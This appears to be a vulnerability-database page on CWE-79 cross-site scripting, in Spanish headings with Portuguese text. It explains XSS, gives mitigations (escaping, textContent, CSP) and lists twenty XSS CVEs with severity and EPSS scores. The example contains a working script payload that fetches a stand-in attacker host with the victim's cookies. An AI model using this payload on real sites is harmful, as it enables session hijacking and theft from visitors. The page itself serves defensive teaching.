Fallos del tipo CWE-79

28.947 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-4847LOWSourceCodester Simple Book Catalog App Update Book Form cross site scriptingEPSS 0.6%CVE-2023-6463LOWSourceCodester User Registration and Login System add-user.php cross site scriptingEPSS 0.6%CVE-2021-24826—Custom Content Shortcode < 4.0.2 - Authenticated Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-40193MEDIUMWordPress Awesome Filterable Portfolio plugin <= 1.9.7 - Unauthenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2023-4864LOWSourceCodester Take-Note App index.php cross site scriptingEPSS 0.6%CVE-2022-0186—Image Photo Gallery Final Tiles Grid < 3.5.3 - Contributor+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2023-1359LOWSourceCodester Gadget Works Online Ordering System Add New User cross site scriptingEPSS 0.6%CVE-2021-32927HIGHUffizio GPS Tracker Cross-site ScriptingEPSS 0.6%CVE-2021-32667MEDIUMCross-Site Scripting in Page PreviewEPSS 0.6%CVE-2025-46041MEDIUMA stored cross-site scripting (XSS) vulnerability in Anchor CMS v0.12.7 allows attackers to inject malicious JavaScript via the page descripEPSS 0.6%CVE-2021-32669MEDIUMCross-Site Scripting in Backend Grid ViewEPSS 0.6%CVE-2020-2498—Cross-site scripting vulnerability in QTS and QuTS heroEPSS 0.6%CVE-2024-54160MEDIUMdashboards-reporting (aka Dashboards Reports) before 2.19.0.0, as shipped in OpenSearch before 2.19, allows XSS because Markdown is not saniEPSS 0.6%CVE-2025-30223CRITICALBeego allows Reflected/Stored XSS in Beego's RenderForm() Function Due to Unescaped User InputEPSS 0.6%CVE-2021-32745HIGHReflected Cross-Site-Scripting vulnerabilityEPSS 0.6%CVE-2024-40500HIGHCross Site Scripting vulnerability in Martin Kucej i-librarian v.5.11.0 and before allows a local attacker to execute arbitrary code via theEPSS 0.6%CVE-2020-36654LOWGENI Portal sliceresource.php no_invocation_id_error cross site scriptingEPSS 0.6%CVE-2025-25299LOWCross-site scripting (XSS) in the real-time collaboration packageEPSS 0.6%CVE-2021-21442MEDIUMXSS vulnerability in Time AccountingEPSS 0.6%CVE-2023-46471MEDIUMCross Site Scripting vulnerability in Space Applications Services Yamcs v.5.8.6 allows a remote attacker to execute arbitrary code via the tEPSS 0.6%